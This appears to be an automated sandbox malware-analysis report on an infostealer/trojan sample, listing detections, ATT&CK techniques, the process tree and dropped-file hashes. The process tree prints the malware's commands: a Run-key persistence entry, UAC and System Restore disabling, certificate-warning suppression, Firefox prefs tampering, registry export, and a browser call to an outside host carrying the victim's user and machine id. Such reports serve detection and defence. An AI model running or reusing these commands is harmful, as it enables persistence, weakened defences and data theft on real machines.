c99ffd11a2c7f084a2ac3d906e4baa761e568fa19677a8633bcacbb32edd59af

Analysis

max time kernel
122s
max time network
130s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
23/07/2024, 00:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

6562700bd30a21641b31cd7ea4982beb_JaffaCakes118.exe
Size

23KB
MD5

6562700bd30a21641b31cd7ea4982beb
SHA1

5a4ea1fccbd66bbcf76d1185d61947660063514a
SHA256

c99ffd11a2c7f084a2ac3d906e4baa761e568fa19677a8633bcacbb32edd59af
SHA512

220b2e5671fc298e8afd1f125254d164ce4fe43691e5a29eb19b4ba7439d921ad6d8bb99db8488db181e33f73eb7ecf42e042d92d39ebbec1e06fb9f0a602324
SSDEEP

384:cr9sOcIp6wRcsSYLvKWLWbstQTid6HJyraXkqdkJ7PNWobd0eXVfaNJawcudoD7I:QmOhplcsHvKWzX6HJmFqda7koPAnbcuy

Score

10^/10

evasion persistence spyware stealer trojan upx

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	regedit.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2352-0-0x0000000000400000-0x0000000000413000-memory.dmp	upx
behavioral1/memory/2352-120-0x0000000000400000-0x0000000000413000-memory.dmp	upx

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ActiveX Update = "C:\\Users\\Admin\\AppData\\Local\\Temp\\AxUpdateMS.exe"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d0e643fe9ddcda01	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{29876E71-4891-11EF-8BC1-6AE4CEDF004B} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c00000000000000010000000083ffff0083ffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000003e1c4d4a7885794291b78de8e6dfadfd00000000020000000000106600000001000020000000f6882cfd61b1b675f41fd4d8e6f7e5d680d90cade8fc503fa551b7aebe2b32f0000000000e80000000020000200000003482d37d5bea8a38279c891dd2ff47458d08a163e7a0fac7f6d4537cb254458e900000008002f4a56762df17d84e86777417a9048fd36b41edd8957826dc72504e9ec82a72932f32cff8a08d85c620ea5907a657ca01c590b2f0786cacde86f3450f1a3007b9e99df958be01aaf2870bceb14a095dff74174eeb8f12cdbe9532b4778f197159f7332ce63799d980a4043faa0330dc08ebaa65141333ed8870e2c56205084c33efdc7d07c72dfb3a429e45a54ff34000000068cbac2ea90be24090d4b88f23a7a0380a645f08381d05d5679a4d126fb9273041e6981e0bd6d48d81c8a7be6d01a9bf4d4368ba17d94583176de0019e16e191	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "427859245"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000003e1c4d4a7885794291b78de8e6dfadfd000000000200000000001066000000010000200000002299056322a1398eab7313113e322272a125d8ebc44918fbc74cd271f32abfe7000000000e8000000002000020000000b348042d1d71db9733be19ea6b48918f7b409ad01100de4c718d4beed44fe3b5200000003844ce84e74905d70f4e2a8f42c2c22a30ac0ef35cc1c7a151cb22a1fdacebbb40000000431eee4d644f702d251cdcb101d4963d81598cc8ed6b8b36aa8a19a51a7b0c0e2f2b109fd6c3463cdbc5487fb8e3bebc13de574cda9ad4c9f14e32d1d3d92c32	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe

Runs .reg file with regedit 1 IoCs

pid	Process
1744	regedit.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2604	iexplore.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2604	iexplore.exe
2604	iexplore.exe
2656	IEXPLORE.EXE
2656	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2352 wrote to memory of 2712	2352	6562700bd30a21641b31cd7ea4982beb_JaffaCakes118.exe	30
PID 2352 wrote to memory of 2712	2352	6562700bd30a21641b31cd7ea4982beb_JaffaCakes118.exe	30
PID 2352 wrote to memory of 2712	2352	6562700bd30a21641b31cd7ea4982beb_JaffaCakes118.exe	30
PID 2352 wrote to memory of 2712	2352	6562700bd30a21641b31cd7ea4982beb_JaffaCakes118.exe	30
PID 2712 wrote to memory of 2780	2712	cmd.exe	32
PID 2712 wrote to memory of 2780	2712	cmd.exe	32
PID 2712 wrote to memory of 2780	2712	cmd.exe	32
PID 2712 wrote to memory of 2780	2712	cmd.exe	32
PID 2712 wrote to memory of 2740	2712	cmd.exe	33
PID 2712 wrote to memory of 2740	2712	cmd.exe	33
PID 2712 wrote to memory of 2740	2712	cmd.exe	33
PID 2712 wrote to memory of 2740	2712	cmd.exe	33
PID 2712 wrote to memory of 2604	2712	cmd.exe	34
PID 2712 wrote to memory of 2604	2712	cmd.exe	34
PID 2712 wrote to memory of 2604	2712	cmd.exe	34
PID 2712 wrote to memory of 2604	2712	cmd.exe	34
PID 2712 wrote to memory of 2696	2712	cmd.exe	35
PID 2712 wrote to memory of 2696	2712	cmd.exe	35
PID 2712 wrote to memory of 2696	2712	cmd.exe	35
PID 2712 wrote to memory of 2696	2712	cmd.exe	35
PID 2696 wrote to memory of 2756	2696	cmd.exe	36
PID 2696 wrote to memory of 2756	2696	cmd.exe	36
PID 2696 wrote to memory of 2756	2696	cmd.exe	36
PID 2696 wrote to memory of 2756	2696	cmd.exe	36
PID 2696 wrote to memory of 2588	2696	cmd.exe	37
PID 2696 wrote to memory of 2588	2696	cmd.exe	37
PID 2696 wrote to memory of 2588	2696	cmd.exe	37
PID 2696 wrote to memory of 2588	2696	cmd.exe	37
PID 2604 wrote to memory of 2656	2604	iexplore.exe	38
PID 2604 wrote to memory of 2656	2604	iexplore.exe	38
PID 2604 wrote to memory of 2656	2604	iexplore.exe	38
PID 2604 wrote to memory of 2656	2604	iexplore.exe	38
PID 2712 wrote to memory of 2300	2712	cmd.exe	39
PID 2712 wrote to memory of 2300	2712	cmd.exe	39
PID 2712 wrote to memory of 2300	2712	cmd.exe	39
PID 2712 wrote to memory of 2300	2712	cmd.exe	39
PID 2712 wrote to memory of 2648	2712	cmd.exe	40
PID 2712 wrote to memory of 2648	2712	cmd.exe	40
PID 2712 wrote to memory of 2648	2712	cmd.exe	40
PID 2712 wrote to memory of 2648	2712	cmd.exe	40
PID 2712 wrote to memory of 2284	2712	cmd.exe	41
PID 2712 wrote to memory of 2284	2712	cmd.exe	41
PID 2712 wrote to memory of 2284	2712	cmd.exe	41
PID 2712 wrote to memory of 2284	2712	cmd.exe	41
PID 2712 wrote to memory of 2676	2712	cmd.exe	42
PID 2712 wrote to memory of 2676	2712	cmd.exe	42
PID 2712 wrote to memory of 2676	2712	cmd.exe	42
PID 2712 wrote to memory of 2676	2712	cmd.exe	42
PID 2712 wrote to memory of 2084	2712	cmd.exe	43
PID 2712 wrote to memory of 2084	2712	cmd.exe	43
PID 2712 wrote to memory of 2084	2712	cmd.exe	43
PID 2712 wrote to memory of 2084	2712	cmd.exe	43
PID 2712 wrote to memory of 1972	2712	cmd.exe	44
PID 2712 wrote to memory of 1972	2712	cmd.exe	44
PID 2712 wrote to memory of 1972	2712	cmd.exe	44
PID 2712 wrote to memory of 1972	2712	cmd.exe	44
PID 2712 wrote to memory of 2996	2712	cmd.exe	45
PID 2712 wrote to memory of 2996	2712	cmd.exe	45
PID 2712 wrote to memory of 2996	2712	cmd.exe	45
PID 2712 wrote to memory of 2996	2712	cmd.exe	45
PID 2996 wrote to memory of 2848	2996	cmd.exe	46
PID 2996 wrote to memory of 2848	2996	cmd.exe	46
PID 2996 wrote to memory of 2848	2996	cmd.exe	46
PID 2996 wrote to memory of 2848	2996	cmd.exe	46

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2284	attrib.exe
2300	attrib.exe
2648	attrib.exe

C:\Users\Admin\AppData\Local\Temp\6562700bd30a21641b31cd7ea4982beb_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\6562700bd30a21641b31cd7ea4982beb_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2352
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\7CFD.tmp\novo.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:2780
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "ActiveX Update" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\AxUpdateMS.exe" /f
    3⤵
    - Adds Run key to start application
    PID:2740
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" "http://sivellongrupp.ee/plugins/ups.php?a=Admin&b=MGWWAYYN"
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2604
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2604 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2656
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c dir "\Users\Admin\.." /b /s | find "prefs.js"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2696
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" dir "\Users\Admin\.." /b /s "
      4⤵
      PID:2756
  - - C:\Windows\SysWOW64\find.exe
      find "prefs.js"
      4⤵
      PID:2588
- - C:\Windows\SysWOW64\attrib.exe
    attrib.exe -r "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\yrxx2hps.default-release\prefs.js "
    3⤵
    - Views/modifies file attributes
    PID:2300
- - C:\Windows\SysWOW64\attrib.exe
    attrib.exe -r "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\yrxx2hps.default-release\prefs.js "
    3⤵
    - Views/modifies file attributes
    PID:2648
- - C:\Windows\SysWOW64\attrib.exe
    attrib.exe +r "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\yrxx2hps.default-release\prefs.js "
    3⤵
    - Views/modifies file attributes
    PID:2284
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe export HKU C:\Users\Admin\AppData\Local\Temp\~r.tmp
    3⤵
    PID:2676
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type C:\Users\Admin\AppData\Local\Temp\~r.tmp "
    3⤵
    PID:2084
- - C:\Windows\SysWOW64\find.exe
    C:\Windows\system32\find.exe "Internet Explorer\Main"
    3⤵
    PID:1972
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c type C:\Users\Admin\AppData\Local\Temp\~i.tmp | C:\Windows\system32\find.exe "S-1-5-21"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2996
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" type C:\Users\Admin\AppData\Local\Temp\~i.tmp "
      4⤵
      PID:2848
  - - C:\Windows\SysWOW64\find.exe
      C:\Windows\system32\find.exe "S-1-5-21"
      4⤵
      PID:1976
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:2028
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKU\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnonBadCertRecving" /t REG_DWORD /d "0x00000000" /f
    3⤵
    PID:816
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:2860
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKU\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnOnIntranet" /t REG_DWORD /d "0x00000000" /f
    3⤵
    PID:2668
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:2852
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKU\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap" /v "AutoDetect" /t REG_DWORD /d "0x00000000" /f
    3⤵
    PID:2808
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:2856
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 0x00000001 /f
    3⤵
    PID:2928
- - C:\Windows\SysWOW64\regedit.exe
    regedit /s "C:\Users\Admin\AppData\Local\Temp\Admin.reg"
    3⤵
    - UAC bypass
    - Runs .reg file with regedit
    PID:1744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
bbe472e255cc537b85538c818eeb4777

SHA1
1416b09b287651eacab21f4ed8f043e963bc52e9

SHA256
f70fb41c168d330491eedad0382b225af9c9caaa4ddfdae5ff1ebae26642d006

SHA512
756ce44a86f262b84937254b48c551d6a13f9e0dd888107d535db3d086e62f778e7e629cfc9f0f4c2efd98f6bb4a2dfb709ca8d4ba762dd2531e980ca7c443f9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
210c7228ee43388adc4c1ccc5d223fcf

SHA1
f6348bf2878b842d006935f7d0e83ff9431c3494

SHA256
4e4ec477b51524e8a745689760585a9d4ea6350ea596def1e885f0d18f29cd70

SHA512
ec22fdbd57b66428e4b938afc4b8a7494c1c395c9100d2277437c295ac3b92e1a5d5e617d018519acb95fbfb590852f71488d3a7d9271d52a404729c91c59a8a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
7ce78efbea274a2ea293ecf98862083e

SHA1
fd55e0750aa77aaaeb7eb85787785831ac7e3a3b

SHA256
3b528e40955db537837f1abd28e8cef53d2afea2a00747dd68b2ac6ef584b992

SHA512
93230dea8bc83a9d556db3c5a9cfe9265771414884fd020dd462a972603812ae2269aee962a5d80897a1afcf7411f9424cc1140718dd40cafe90b5ee8a676526

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
dfeb996d5a5805779246f7e660070ea4

SHA1
dcc0dc8afc1b8f78beb2e01c642075af06180353

SHA256
a0aa627fb35fb88d3bf05897501ecec5cf53d23a6aba3a10db49f694c77fc61a

SHA512
4e758d2415a6f19670b95aa64bc12dc43a973c3fa7c7386a9a91d893df3b6b57ce07af4064785e9e52facd1e912c0d6963e78fc1add653b280594db1bd0c5fc7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
206ddc2d0882dc98880d59a5d996805d

SHA1
dbddbd4c6d593a42e63e2c789475ce6ab2e54e11

SHA256
4f9bb3921794e1410c7c7a8af15f40abdae0777fb657a2457c8253501efce75c

SHA512
b1eafd4ee4da67d0ac7e1baeee32fae2db22ba6aa504684b7da6908e0c148b042a05d8fe8efeca7df23d11f3d4fbfa77f6946436dc500b2f34e35b2d5936b46b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
b493af115ef9c4b001190ddeb1f8d557

SHA1
321ea1faecc04789713bf53251042b28b7675ffe

SHA256
a219dce0c0342a812c56abe89a1e1ea0313ee734a210b7b838ed4145d5685ae4

SHA512
1100cbd727cbacc69a949d4a852ca8cbb1e827b147fb9ad3aabd8faf7ba5ed663f57a3f65f721d8e7f221a72b1e79cc6088e7683885537edf6ed3963adfa9462

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
34cdccfab4f1b915e854745e119d60e1

SHA1
203af18b532a3ee0bf6911a3dfcba486d642eea6

SHA256
564e9c1fb97c2687dabfb6f8b5b9797bf847d660e279a978d3098571c833578a

SHA512
6e1a874875c57ee346845e49790a347cf3ef7e83516279b0afee50c1f65fc82ea126e6b683f2427173ebc96516f9d14e3ddc340c46fb9f4f83f8ba113762d344

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
59113bea2e2148a1be3feb00f4185c67

SHA1
4f8071b4692dd5a2e64c0614a331eb96878298a3

SHA256
8fb492b255cb26c655d4409b89f366a3cb4287a1be271e20650ebe790105fe0c

SHA512
e201fe723a617df4d6bb4a2616d598a14371b3a42612bb01a92e8a20d7a615b890d8199e49c0c33c814f577091efc4cca27105f0570eb3f32a32cedbe99ba001

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
5e9005d4b447b94c5b0d50df23af5e7e

SHA1
d595dd8167529603cc1f69bc8dd25d6033ee97b0

SHA256
187cf85dd3a0a8d3b1f547cc22184bb5be91c4f71d7d8c1baa68604b2dc2ec5a

SHA512
a69a92546fba511988e285097815ca834008ef0a21077b227f62a6b892fe9c5f1460afe233d3ee90e68733a78a954ac1845ba3d4004e00c0eb85d4854d1a2ec0

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
09c9e3154fbafc45ace4f79146a0f4e9

SHA1
d22a4fc1c5ed915668a562c8fd1f0536368c4c8b

SHA256
2c6cbd05788a849fa316273247c0419459f3fc3ef5257d5677298e15e78ec417

SHA512
6f7f620a80a2be623e2bf8a664777f506f8750c9d706b1da3a352ea7a08103cca4b12a3bfbee0bb4d4930c85c6460c50ab44e241d23c8f68bdf14a6d6e775690

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
6d10a7d8f2fe8ef6a286bff2d3ad27ea

SHA1
1d6850ed471126e0c24aa5ce2303de40d8c9839c

SHA256
87e3289acbbd229a7ba76a66f9aa05fbe55033485ca21ca2c10ec2b8b02c56bf

SHA512
a6aadb0dcc45e938fc6ba97740cdf6d0526f45f22453a691b81770680587a8c81ff605c4474e4b3749727df61c42d6de384b1f5a4dca4c899d3432c9ad2eab5e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
7f7333921d9947a167955c3e6145bd56

SHA1
509f5c088879623d28d89fd60900c5f47caa540e

SHA256
a82bb4e664b77bb7c881badd84d881a92fca5369ee7f7f070cfe63016815fc4a

SHA512
b78fb4b53e1acddb62fb1b0d842f06e4463ec4eb90b60138d0c5c6499f830dd7ec708347f991717d6cebe510113145ea2ac35423efb8a3c0777ec3aa07a0dd0b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
5f6e48648fb18dd13950dc5bb7db8ea1

SHA1
96daae932586a1a9ab67a21374c1bbcad6a07c37

SHA256
81873bb0f1e1fe3e92539beea3c973ff6e6608ce4faff0854fb5863e870b9245

SHA512
8c89da1ac76c8d72eab7afa7ae01f613d5a8cf87c1d0f072913425f94c86ca87346c6a2357a0ea8d9bd3ab07fd3b7c7fb16dca05d09fc45ea6a521d588ded8f9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
4b46f0ab9aff01535f80f12b6d45efac

SHA1
25cc85054606436645eff234bd14bb4713ba1477

SHA256
321e8715e625c652655a1dc11c9e8839ba8b4a4574f921fc01ccddbf725d7c80

SHA512
dd160dd4fb7cedb887f4506289603f32a11b6fbbb6a2dc9c8381ef63350f1aea01daa147002b85ed3453fadf1b7e25318bed8be0208ee9556901542997106727

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
df784c3691f5a58f1f19d01544472b24

SHA1
6648531485c794bbfb9ff8a47990c71026e11dd9

SHA256
a61effb356887b431c84ba1d5a58a57bea95a2400a475a6811f194007d93caf5

SHA512
bd19353cb266c8f3058ed35d673e5147cd2f859361d462959908dd3a4ccf058dd10655c4657a95395eec5f2e5027dfd5ce8a867cd78c9d3d16f88c63ddab9a3b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
94800caf14bc11730d25f3e63e72570b

SHA1
0c50c69afa55d664d59ede32800678b5a1eb98c2

SHA256
e720438dcfede170cda72db7d06da104bbccf5ba626fc85ce9a339136e3df907

SHA512
9c9dd145b1d0a441cd21914dab9d5fbfbb3c194c780a1712e0eb9956bc6f1d6593bddf79f6cad7230967d9ece57bb866ed5b3457808dc36ee236c65d9ab0968e

Download Submit
C:\Users\Admin\AppData\Local\Temp\7CFD.tmp\novo.bat

Filesize
10KB

MD5
a8df7a3c87920900dff02fa04cf10e18

SHA1
37e1432ed9abb2e4af331ab895af4dae95e7d0fd

SHA256
4dfd3af1586a81ea9e96bdbdff7ccd580f67f180830fd3ddda9f1f5c85beaef1

SHA512
cec20675156c99467262d61a57435dfe8d745e0999b841c7b8fae30a3d9ec43bd9b9b519c28d60bef4c6e82c1c1b0d10874059e2d9dd00fad273fae86896fb00

Download Submit
C:\Users\Admin\AppData\Local\Temp\Admin.reg

Filesize
2KB

MD5
f7b30fd2e305554ed68c550b251243a9

SHA1
77ce49821cc1fa2a8c532a1f6d62983df8bd8371

SHA256
6470b6d51ca0cfce37999dc39078568da3f8172edcac704228ec9c6edbfae41e

SHA512
